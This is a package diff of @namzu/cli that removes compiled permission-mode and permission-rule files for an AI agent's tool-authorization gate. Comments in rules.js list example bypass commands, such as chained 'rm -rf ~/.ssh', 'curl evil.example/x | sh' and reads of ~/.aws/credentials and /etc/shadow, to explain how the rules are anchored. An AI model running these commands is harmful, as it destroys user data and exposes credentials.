@namzu/cli 35.0.0 → 36.1.0

package/dist/permissions/live-mode.js

@@ -1,62 +0,0 @@
-import { permissionModeLabel } from './mode.js';
-/** The reason written with a change, and read by the model in its one-time notice. */
-export function permissionChangeReason(mode, when) {
-    const who = when === 'now'
-        ? 'the operator changed the permission mode during this turn'
-        : 'the operator changed the permission mode since the previous turn';
-    if (mode === 'plan') {
-        return `${who} to plan mode: read and plan only; any call that would change something is refused until the operator leaves plan mode`;
-    }
-    return `${who} to ${permissionModeLabel(mode)}`;
-}
-export function createLiveModeControl(options) {
-    const handlers = new Map();
-    const handlerOf = (mode) => {
-        let handler = handlers.get(mode);
-        if (!handler) {
-            handler = options.handlerFor(mode);
-            handlers.set(mode, handler);
-        }
-        return handler;
-    };
-    const current = () => options.read?.() ?? options.initial;
-    let box;
-    let recording = Promise.resolve();
-    const handler = async (request) => {
-        // A change being recorded lands before anything is decided under it —
-        // including one that began while this request was already waiting.
-        let pending;
-        do {
-            pending = recording;
-            await pending;
-        } while (pending !== recording);
-        // Read ONCE. A dialog this request opens is decided under this mode even
-        // if the operator switches while it is on screen.
-        return handlerOf(current())(request);
-    };
-    const record = (mode, reason) => {
-        recording = recording
-            .then(async () => {
-            if (box && box.current.name !== mode)
-                await box.set({ name: mode, handler }, reason);
-        })
-            .catch(() => { });
-        return recording;
-    };
-    const initialName = options.recorded ?? options.initial;
-    return {
-        handler,
-        initialName,
-        current,
-        reviewAllowedCalls: () => current() === 'plan',
-        attach(next) {
-            box = next;
-            const now = current();
-            if (next.current.name !== now) {
-                void record(now, permissionChangeReason(now, now === options.initial ? 'between-turns' : 'now'));
-            }
-        },
-        record,
-    };
-}
-//# sourceMappingURL=live-mode.js.map

package/dist/permissions/live-mode.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"live-mode.js","sourceRoot":"","sources":["../../src/permissions/live-mode.ts"],"names":[],"mappings":"AAEA,OAAO,EAAuB,mBAAmB,EAAE,MAAM,WAAW,CAAA;AAwEpE,sFAAsF;AACtF,MAAM,UAAU,sBAAsB,CACrC,IAAoB,EACpB,IAA6B;IAE7B,MAAM,GAAG,GACR,IAAI,KAAK,KAAK;QACb,CAAC,CAAC,2DAA2D;QAC7D,CAAC,CAAC,kEAAkE,CAAA;IACtE,IAAI,IAAI,KAAK,MAAM,EAAE,CAAC;QACrB,OAAO,GAAG,GAAG,wHAAwH,CAAA;IACtI,CAAC;IACD,OAAO,GAAG,GAAG,OAAO,mBAAmB,CAAC,IAAI,CAAC,EAAE,CAAA;AAChD,CAAC;AAED,MAAM,UAAU,qBAAqB,CAAC,OAAwB;IAC7D,MAAM,QAAQ,GAAG,IAAI,GAAG,EAAiC,CAAA;IACzD,MAAM,SAAS,GAAG,CAAC,IAAoB,EAAiB,EAAE;QACzD,IAAI,OAAO,GAAG,QAAQ,CAAC,GAAG,CAAC,IAAI,CAAC,CAAA;QAChC,IAAI,CAAC,OAAO,EAAE,CAAC;YACd,OAAO,GAAG,OAAO,CAAC,UAAU,CAAC,IAAI,CAAC,CAAA;YAClC,QAAQ,CAAC,GAAG,CAAC,IAAI,EAAE,OAAO,CAAC,CAAA;QAC5B,CAAC;QACD,OAAO,OAAO,CAAA;IACf,CAAC,CAAA;IACD,MAAM,OAAO,GAAG,GAAmB,EAAE,CAAC,OAAO,CAAC,IAAI,EAAE,EAAE,IAAI,OAAO,CAAC,OAAO,CAAA;IACzE,IAAI,GAAsC,CAAA;IAC1C,IAAI,SAAS,GAAkB,OAAO,CAAC,OAAO,EAAE,CAAA;IAEhD,MAAM,OAAO,GAAkB,KAAK,EAAE,OAAO,EAAE,EAAE;QAChD,sEAAsE;QACtE,mEAAmE;QACnE,IAAI,OAAsB,CAAA;QAC1B,GAAG,CAAC;YACH,OAAO,GAAG,SAAS,CAAA;YACnB,MAAM,OAAO,CAAA;QACd,CAAC,QAAQ,OAAO,KAAK,SAAS,EAAC;QAC/B,yEAAyE;QACzE,kDAAkD;QAClD,OAAO,SAAS,CAAC,OAAO,EAAE,CAAC,CAAC,OAAO,CAAC,CAAA;IACrC,CAAC,CAAA;IAED,MAAM,MAAM,GAAG,CAAC,IAAoB,EAAE,MAAc,EAAiB,EAAE;QACtE,SAAS,GAAG,SAAS;aACnB,IAAI,CAAC,KAAK,IAAI,EAAE;YAChB,IAAI,GAAG,IAAI,GAAG,CAAC,OAAO,CAAC,IAAI,KAAK,IAAI;gBAAE,MAAM,GAAG,CAAC,GAAG,CAAC,EAAE,IAAI,EAAE,IAAI,EAAE,OAAO,EAAE,EAAE,MAAM,CAAC,CAAA;QACrF,CAAC,CAAC;aACD,KAAK,CAAC,GAAG,EAAE,GAAE,CAAC,CAAC,CAAA;QACjB,OAAO,SAAS,CAAA;IACjB,CAAC,CAAA;IAED,MAAM,WAAW,GAAG,OAAO,CAAC,QAAQ,IAAI,OAAO,CAAC,OAAO,CAAA;IACvD,OAAO;QACN,OAAO;QACP,WAAW;QACX,OAAO;QACP,kBAAkB,EAAE,GAAG,EAAE,CAAC,OAAO,EAAE,KAAK,MAAM;QAC9C,MAAM,CAAC,IAAI;YACV,GAAG,GAAG,IAAI,CAAA;YACV,MAAM,GAAG,GAAG,OAAO,EAAE,CAAA;YACrB,IAAI,IAAI,CAAC,OAAO,CAAC,IAAI,KAAK,GAAG,EAAE,CAAC;gBAC/B,KAAK,MAAM,CACV,GAAG,EACH,sBAAsB,CAAC,GAAG,EAAE,GAAG,KAAK,OAAO,CAAC,OAAO,CAAC,CAAC,CAAC,eAAe,CAAC,CAAC,CAAC,KAAK,CAAC,CAC9E,CAAA;YACF,CAAC;QACF,CAAC;QACD,MAAM;KACN,CAAA;AACF,CAAC"}

package/dist/permissions/mode.js

@@ -1,65 +0,0 @@
-import { REVIEW_MODES, isReviewMode } from '@namzu/sdk';
-export const PERMISSION_MODES = REVIEW_MODES;
-export { ACCEPT_EDITS_TOOLS, PLAN_MODE_REFUSAL } from '@namzu/sdk';
-export const isPermissionMode = isReviewMode;
-export function permissionModeLabel(mode) {
-    switch (mode) {
-        case 'prompt':
-            return 'Ask before changes';
-        case 'accept-edits':
-            return 'Auto-approve edits';
-        case 'auto':
-            return 'Auto-approve tools';
-        case 'strict':
-            return 'Preapproved tools only';
-        case 'plan':
-            return 'Plan (read-only)';
-    }
-}
-/** Session-wide approval overrides prompting, but never plan or strict mode. */
-export function effectivePermissionMode(mode, approvedAll) {
-    return approvedAll && (mode === 'prompt' || mode === 'accept-edits') ? 'auto' : mode;
-}
-/** The behavior shown by both the permission selector and the session report. */
-export function permissionModeDescription(mode) {
-    switch (mode) {
-        case 'prompt':
-            return 'Ask before changes and shell commands.';
-        case 'accept-edits':
-            return 'Allow file edits; ask before shell commands and other changes.';
-        case 'auto':
-            return 'Allow tools without asking, subject to configured rules.';
-        case 'strict':
-            return 'Allow preapproved tools; refuse other calls without asking.';
-        case 'plan':
-            return 'Read-only: block changes until you leave plan mode.';
-    }
-}
-/**
- * The mode for a turn, from the flag, the bypass alias, and whether anyone is
- * there to answer.
- *
- * `--yolo` / `--dangerously-skip-permissions` map to `auto`. They were accepted
- * and documented as doing nothing, which was true and unsatisfying; now they
- * say the same thing the mode vocabulary says, and in the TUI they do what
- * their name has always implied. Neither reaches a `deny` rule or the
- * dangerous-pattern floor, so the name still overstates what it can do —
- * deliberately, because it should read as more dangerous than it is rather than
- * less.
- */
-export function resolvePermissionMode(opts) {
-    if (opts.flag != null && opts.flag !== '') {
-        if (!isPermissionMode(opts.flag)) {
-            return {
-                error: `--permission-mode must be one of: ${PERMISSION_MODES.join(', ')} (got "${opts.flag}")`,
-            };
-        }
-        return { mode: opts.flag };
-    }
-    if (opts.skipPermissions)
-        return { mode: 'auto' };
-    // No terminal means nobody to ask, so `prompt` would silently become `auto`
-    // anyway. Saying so here keeps the resolved mode honest in a log.
-    return { mode: opts.interactive ? 'prompt' : 'auto' };
-}
-//# sourceMappingURL=mode.js.map

package/dist/permissions/mode.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"mode.js","sourceRoot":"","sources":["../../src/permissions/mode.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,YAAY,EAAmB,YAAY,EAAE,MAAM,YAAY,CAAA;AA+BxE,MAAM,CAAC,MAAM,gBAAgB,GAA8B,YAAY,CAAA;AAEvE,OAAO,EAAE,kBAAkB,EAAE,iBAAiB,EAAE,MAAM,YAAY,CAAA;AAElE,MAAM,CAAC,MAAM,gBAAgB,GAAgD,YAAY,CAAA;AAEzF,MAAM,UAAU,mBAAmB,CAAC,IAAoB;IACvD,QAAQ,IAAI,EAAE,CAAC;QACd,KAAK,QAAQ;YACZ,OAAO,oBAAoB,CAAA;QAC5B,KAAK,cAAc;YAClB,OAAO,oBAAoB,CAAA;QAC5B,KAAK,MAAM;YACV,OAAO,oBAAoB,CAAA;QAC5B,KAAK,QAAQ;YACZ,OAAO,wBAAwB,CAAA;QAChC,KAAK,MAAM;YACV,OAAO,kBAAkB,CAAA;IAC3B,CAAC;AACF,CAAC;AAED,gFAAgF;AAChF,MAAM,UAAU,uBAAuB,CACtC,IAAoB,EACpB,WAAoB;IAEpB,OAAO,WAAW,IAAI,CAAC,IAAI,KAAK,QAAQ,IAAI,IAAI,KAAK,cAAc,CAAC,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,IAAI,CAAA;AACrF,CAAC;AAED,iFAAiF;AACjF,MAAM,UAAU,yBAAyB,CAAC,IAAoB;IAC7D,QAAQ,IAAI,EAAE,CAAC;QACd,KAAK,QAAQ;YACZ,OAAO,wCAAwC,CAAA;QAChD,KAAK,cAAc;YAClB,OAAO,gEAAgE,CAAA;QACxE,KAAK,MAAM;YACV,OAAO,0DAA0D,CAAA;QAClE,KAAK,QAAQ;YACZ,OAAO,6DAA6D,CAAA;QACrE,KAAK,MAAM;YACV,OAAO,qDAAqD,CAAA;IAC9D,CAAC;AACF,CAAC;AAED;;;;;;;;;;;GAWG;AACH,MAAM,UAAU,qBAAqB,CAAC,IAIrC;IACA,IAAI,IAAI,CAAC,IAAI,IAAI,IAAI,IAAI,IAAI,CAAC,IAAI,KAAK,EAAE,EAAE,CAAC;QAC3C,IAAI,CAAC,gBAAgB,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC;YAClC,OAAO;gBACN,KAAK,EAAE,qCAAqC,gBAAgB,CAAC,IAAI,CAAC,IAAI,CAAC,UAAU,IAAI,CAAC,IAAI,IAAI;aAC9F,CAAA;QACF,CAAC;QACD,OAAO,EAAE,IAAI,EAAE,IAAI,CAAC,IAAI,EAAE,CAAA;IAC3B,CAAC;IACD,IAAI,IAAI,CAAC,eAAe;QAAE,OAAO,EAAE,IAAI,EAAE,MAAM,EAAE,CAAA;IACjD,4EAA4E;IAC5E,kEAAkE;IAClE,OAAO,EAAE,IAAI,EAAE,IAAI,CAAC,WAAW,CAAC,CAAC,CAAC,QAAQ,CAAC,CAAC,CAAC,MAAM,EAAE,CAAA;AACtD,CAAC"}

package/dist/permissions/rules.js

@@ -1,358 +0,0 @@
-/**
- * Operator-authored tool permissions, compiled to the kernel's rule vocabulary.
- *
- * The kernel already has the engine — `AuthorizationRule[]` with an
- * allow/deny/review decision, evaluated first-match-wins. What was missing was
- * any way for a person to author those rules: the CLI passed `rules: []`, so a
- * gate with seven rule types ran with none of them and every decision fell back
- * to "ask a human". This turns a `[permissions]` table into that array.
- *
- * The whole surface is pure: config in, rules out. The gate stays the only
- * thing that decides anything, which is what keeps this testable without a turn.
- */
-import { AuthorizationGate, NOOP_LOGGER, builtinCommandArguments, permissionPatternToRegExpSource, } from '@namzu/sdk';
-import { cliLogger } from '../logging.js';
-import { verifyPermissionChecks } from './checks.js';
-const EFFECTS = new Set(['allow', 'ask', 'deny']);
-export function isPermissionEffect(value) {
-    return typeof value === 'string' && EFFECTS.has(value);
-}
-/** Exact tool rules written for the CLI's former MCP naming scheme. */
-export function legacyMcpPermissionNames(config) {
-    return Object.keys(config ?? {}).filter((name) => /^mcp_(?!_)[^_]+_.+/.test(name));
-}
-const warnedLegacyMcpNames = new Set();
-/** Say the migration warning once per name and process, including resident steps. */
-export function warnLegacyMcpPermissionNames(config, log = cliLogger()) {
-    for (const name of legacyMcpPermissionNames(config)) {
-        if (warnedLegacyMcpNames.has(name))
-            continue;
-        warnedLegacyMcpNames.add(name);
-        log.warn('Former MCP permission name does not match the current mcp__<server>__<tool> naming scheme', {
-            'namzu.permission.tool_name': name,
-        });
-    }
-}
-/**
- * Turn a glob-ish pattern into an anchored regex source.
- *
- * `*` matches any run of characters, `?` exactly one; everything else is
- * literal. Backslashes become forward slashes on both sides so one rule works
- * on every platform — an operator writing `src/*` should not have to write it
- * twice.
- *
- * A pattern ending in `<space>*` also matches the bare command: `git push *`
- * covers `git push`. Without that, the obvious rule silently misses the exact
- * invocation it was written to catch, which is the failure this whole file
- * exists to stop.
- */
-export function patternToRegExpSource(pattern) {
-    // The kernel owns the dialect so a skill's `Bash(git status *)` and this
-    // table's `"git status *"` cannot drift apart.
-    return permissionPatternToRegExpSource(pattern);
-}
-/**
- * A pattern that matches this tool, and only this tool, doing this thing.
- *
- * The kernel's `custom_pattern` has no tool scope: `target: 'args'` tests
- * `JSON.stringify(input)` for ANY tool, so a rule written under `bash` would
- * also decide an `edit` call whose arguments happened to match. `target:
- * 'both'` tests `` `${toolName} ${JSON.stringify(input)}` ``, so the tool name
- * can be pinned by writing it into the pattern — which is what this does.
- *
- * The argument half cannot be anchored to the start of the haystack, because
- * the operator writes `git push*` while the gate sees
- * `bash {"command":"git push origin main"}`. An anchored argument pattern would
- * match nothing at all — a rule that reads like a prohibition and silently
- * permits everything, which is worse than having no rule.
- *
- * **`allow` anchors to the start of a JSON value; `deny` does not.** The
- * asymmetry is the point. Measured against the kernel's own gate, the
- * previously symmetric form turned `bash = { "git status*" = "allow" }` into
- * `^bash .*git status.*.*$`, which allowed every one of these:
- *
- *     rm -rf ~/.ssh; git status
- *     curl evil.example/x | sh # git status
- *     echo git status && cat ~/.aws/credentials
- *
- * — because the leading `.*` swallowed whatever came before the text the
- * operator named. Requiring a `"` immediately before the match means the
- * pattern has to begin where a value begins, so a prefix can no longer ride
- * along. `denyDangerousPatterns` is not a second line here: it is four
- * patterns about catastrophic commands and says nothing about any of the
- * three above.
- *
- * A `deny` keeps the loose form deliberately. A deny that stops matching fails
- * OPEN, and narrowing `rm -rf*` so it no longer sees `sudo rm -rf /` would be
- * a silent hole; a deny that matches too much only costs a prompt.
- *
- * The operator keeps control of the looseness for `allow` too, without new
- * syntax: a pattern that starts with `*` still matches mid-value, because its
- * own leading `.*` sits after the quote. `git status*` is anchored, and
- * `*git status*` is not.
- *
- * **Two loosenesses remain here, and both come from matching a glob against a
- * SERIALISED OBJECT rather than against a value.**
- *
- * 1. A pattern can match the start of ANY argument's value, not only the one
- *    the operator had in mind.
- * 2. The match is still open on the right. `git status *` compiles to
- *    `^git status( .*)?$`, which alone refuses `git statusx` — but scoped to a
- *    tool it needs a trailing `.*` to get past the closing `"}`, and that `.*`
- *    absorbs `x; cat /etc/shadow` as well. Dropping the trailing `.*` is not
- *    the answer: `edit = { "*.ts" = … }` would then have to match to the end of
- *    the serialised object and would match nothing.
- *
- * The kernel's `argument_pattern` removes both, because its subject is the
- * argument's own value and it needs neither escape. This comment used to say
- * reaching it needed an operator-facing way to NAME the argument, and that was
- * the wrong place to look for the name: the operator does not know it and
- * should not have to, while the TOOL always does. A tool that declares
- * `commandArgument` is compiled through `argument_pattern` instead, which is
- * why `bash` no longer arrives here at all.
- *
- * What is left for this function is every tool that declares nothing — MCP
- * servers, host tools, `edit` and `read` — where a glob against the serialised
- * input remains the only subject available, and where loosening 2 is bounded
- * by there being no command line to chain onto.
- */
-export function toolScopedPattern(tool, pattern, decision = 'deny') {
-    const toolPart = escapeRegExp(tool);
-    const argPart = patternToRegExpSource(pattern).slice(1, -1);
-    // A pattern of nothing but wildcards means "any call to this tool", and
-    // that has to keep meaning it. Requiring a quote would make it "any call
-    // whose serialised input contains a string", which is almost always the
-    // same set and silently is not for a tool called with a bare number.
-    const anchorToValue = decision === 'allow' && pattern.replaceAll('*', '') !== '';
-    return anchorToValue ? `^${toolPart} .*"${argPart}.*$` : `^${toolPart} .*${argPart}.*$`;
-}
-/**
- * Compile one pattern for a tool that declares a command argument.
- *
- * This carries the asymmetry `toolScopedPattern` established, because the
- * reasons for it did not change when the subject did. An `allow` anchors: it is
- * a claim about a command, and a claim that matches a prefix is a claim about
- * something else. A `deny` stays loose: an operator who denied `rm -rf*` means
- * it wherever it appears, and `sudo rm -rf /` is the case that proves it —
- * anchoring the deny would stop it matching, and a deny that stops matching
- * fails open.
- *
- * What the subject gained is the part that could not be done before. The gate
- * reads this argument as the COMMANDS the line runs, so the anchored `allow`
- * is anchored per command: `git status*` no longer approves
- * `git status && rm -rf ~`, and the loose `deny` now also sees a command that
- * rides behind a separator.
- */
-function commandRule(tool, argument, pattern, decision) {
-    // All wildcards means "every call to this tool", and that has to keep
-    // meaning it. As a pattern it would stop being true the moment the tool is
-    // called without that argument, so it is emitted as the rule that says it.
-    if (pattern.replaceAll('*', '') === '') {
-        return decision === 'allow'
-            ? { type: 'allow_by_name', toolNames: [tool] }
-            : { type: 'deny_by_name', toolNames: [tool] };
-    }
-    const anchored = patternToRegExpSource(pattern);
-    return {
-        type: 'argument_pattern',
-        toolNames: [tool],
-        argument,
-        pattern: decision === 'allow' ? anchored : anchored.slice(1, -1),
-        decision,
-    };
-}
-function escapeRegExp(value) {
-    return value.replace(/[.*+^${}()|[\]\\?]/g, '\\$&');
-}
-/** Whether `input` satisfies `pattern`, with the matching above. */
-export function matchesPattern(input, pattern) {
-    // Case-insensitive on Windows, where paths and commands are, and
-    // case-sensitive everywhere else, where they are not.
-    const flags = process.platform === 'win32' ? 'si' : 's';
-    return new RegExp(patternToRegExpSource(pattern), flags).test(input.replaceAll('\\', '/'));
-}
-/**
- * Order patterns so the most specific is tried first.
- *
- * The kernel evaluates first-match-wins, so `bash = { "*" = "ask", "git push*"
- * = "deny" }` would otherwise resolve to `ask` and the deny would be dead —
- * config that reads like a prohibition and is not one. Sorting here means an
- * operator does not have to know the evaluation order to write what they mean.
- *
- * "Specific" is: a bare `*` is always last, then longer literal prefixes before
- * shorter ones, then alphabetical so the result is stable to read and to test.
- */
-export function bySpecificity(a, b) {
-    if (a === '*' && b !== '*')
-        return 1;
-    if (b === '*' && a !== '*')
-        return -1;
-    const literal = (p) => {
-        const star = p.search(/[*?]/);
-        return star === -1 ? p.length : star;
-    };
-    const diff = literal(b) - literal(a);
-    if (diff !== 0)
-        return diff;
-    return a < b ? -1 : a > b ? 1 : 0;
-}
-/**
- * Compile a `[permissions]` table into kernel rules.
- *
- * `ask` is an explicit review rule. Omitting it would let a later wildcard
- * allowance or the read-only default approve the call before review.
- */
-export function compilePermissions(config, checks) {
-    const rules = [];
-    const sourceDenials = [];
-    const sourceReviews = [];
-    const sourceAllowances = [];
-    const diagnostics = [];
-    // Checks still run against an empty table. "This command is asked about"
-    // is a claim worth holding when there is no config at all, and returning
-    // early would make the check silently pass by never running.
-    if (!config)
-        return { rules, diagnostics: verifyPermissionChecks(rules, checks) };
-    // Asked once. The map is derived from the builtin tools rather than listed
-    // here, so a tool that starts or stops taking a command line changes this
-    // compiler by changing itself.
-    const commandArguments = builtinCommandArguments();
-    for (const [tool, permission] of Object.entries(config)) {
-        if (tool === 'sources') {
-            if (typeof permission !== 'object' || permission === null || Array.isArray(permission)) {
-                diagnostics.push({ tool, message: 'expected a table of source id globs and effects' });
-                continue;
-            }
-            for (const source of Object.keys(permission).sort(bySpecificity)) {
-                const effect = permission[source];
-                if (!source) {
-                    diagnostics.push({ tool, pattern: source, message: 'source id glob must not be empty' });
-                    continue;
-                }
-                if (!isPermissionEffect(effect)) {
-                    diagnostics.push({
-                        tool,
-                        pattern: source,
-                        message: `expected "allow", "ask" or "deny"; got ${JSON.stringify(effect)}`,
-                    });
-                    continue;
-                }
-                const rule = {
-                    type: 'by_source',
-                    sources: [source],
-                    decision: effect === 'ask' ? 'review' : effect,
-                };
-                if (effect === 'allow')
-                    sourceAllowances.push(rule);
-                else if (effect === 'deny')
-                    sourceDenials.push(rule);
-                else
-                    sourceReviews.push(rule);
-            }
-            continue;
-        }
-        if (isPermissionEffect(permission)) {
-            if (permission === 'allow')
-                rules.push({ type: 'allow_by_name', toolNames: [tool] });
-            if (permission === 'deny')
-                rules.push({ type: 'deny_by_name', toolNames: [tool] });
-            if (permission === 'ask') {
-                rules.push({
-                    type: 'custom_pattern',
-                    pattern: `^${escapeRegExp(tool)}$`,
-                    target: 'name',
-                    decision: 'review',
-                });
-            }
-            continue;
-        }
-        if (typeof permission !== 'object' || permission === null) {
-            diagnostics.push({
-                tool,
-                message: `expected "allow", "ask", "deny", or a table of patterns; got ${typeof permission}`,
-            });
-            continue;
-        }
-        for (const pattern of Object.keys(permission).sort(bySpecificity)) {
-            const effect = permission[pattern];
-            if (!isPermissionEffect(effect)) {
-                diagnostics.push({
-                    tool,
-                    pattern,
-                    message: `expected "allow", "ask" or "deny"; got ${JSON.stringify(effect)}`,
-                });
-                continue;
-            }
-            try {
-                new RegExp(patternToRegExpSource(pattern));
-            }
-            catch (err) {
-                diagnostics.push({
-                    tool,
-                    pattern,
-                    message: `pattern is not usable: ${err instanceof Error ? err.message : String(err)}`,
-                });
-                continue;
-            }
-            if (effect === 'ask') {
-                rules.push({
-                    type: 'custom_pattern',
-                    pattern: toolScopedPattern(tool, pattern),
-                    target: 'both',
-                    decision: 'review',
-                });
-                continue;
-            }
-            // A tool that declares which of its arguments holds a command line
-            // gets the rule that can read one. `custom_pattern` stays the
-            // fallback for everything else, and the two loosenesses documented
-            // on `toolScopedPattern` are exactly what this branch removes.
-            const argument = commandArguments.get(tool);
-            if (argument === undefined) {
-                rules.push({
-                    type: 'custom_pattern',
-                    pattern: toolScopedPattern(tool, pattern, effect),
-                    target: 'both',
-                    decision: effect,
-                });
-                continue;
-            }
-            rules.push(commandRule(tool, argument, pattern, effect));
-        }
-    }
-    // After compiling, never during: a check is a claim about the FINISHED
-    // table, and evaluating one against a half-built rule list would answer
-    // with whatever order the config happened to be written in.
-    // A source question must not turn a tool-specific refusal into an approvable
-    // call. Check the tool table in its own specificity order before asking by
-    // source; only a tool-table denial is lifted ahead of source review. A
-    // specific tool allowance can still outrank a broader tool-table denial,
-    // but the source review will ask about that call as the operator requested.
-    const toolDenialBeforeSourceReview = [];
-    if (sourceReviews.length > 0 && rules.length > 0) {
-        const toolGate = new AuthorizationGate({
-            enabled: true,
-            rules: [...rules],
-            allowReadOnlyTools: false,
-            denyDangerousPatterns: false,
-            logDecisions: false,
-        }, NOOP_LOGGER);
-        const toolDecision = (call) => toolGate.evaluate(call);
-        toolDenialBeforeSourceReview.push({
-            type: 'predicate',
-            description: 'denied by a tool-specific permission rule',
-            decide: (call) => (toolDecision(call).decision === 'deny' ? 'deny' : null),
-            describe: (call) => toolDecision(call).reason,
-        });
-    }
-    const orderedRules = [
-        ...sourceDenials,
-        ...toolDenialBeforeSourceReview,
-        ...sourceReviews,
-        ...rules,
-        ...sourceAllowances,
-    ];
-    diagnostics.push(...verifyPermissionChecks(orderedRules, checks));
-    return { rules: orderedRules, diagnostics };
-}
-//# sourceMappingURL=rules.js.map

package/dist/permissions/rules.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"rules.js","sourceRoot":"","sources":["../../src/permissions/rules.ts"],"names":[],"mappings":"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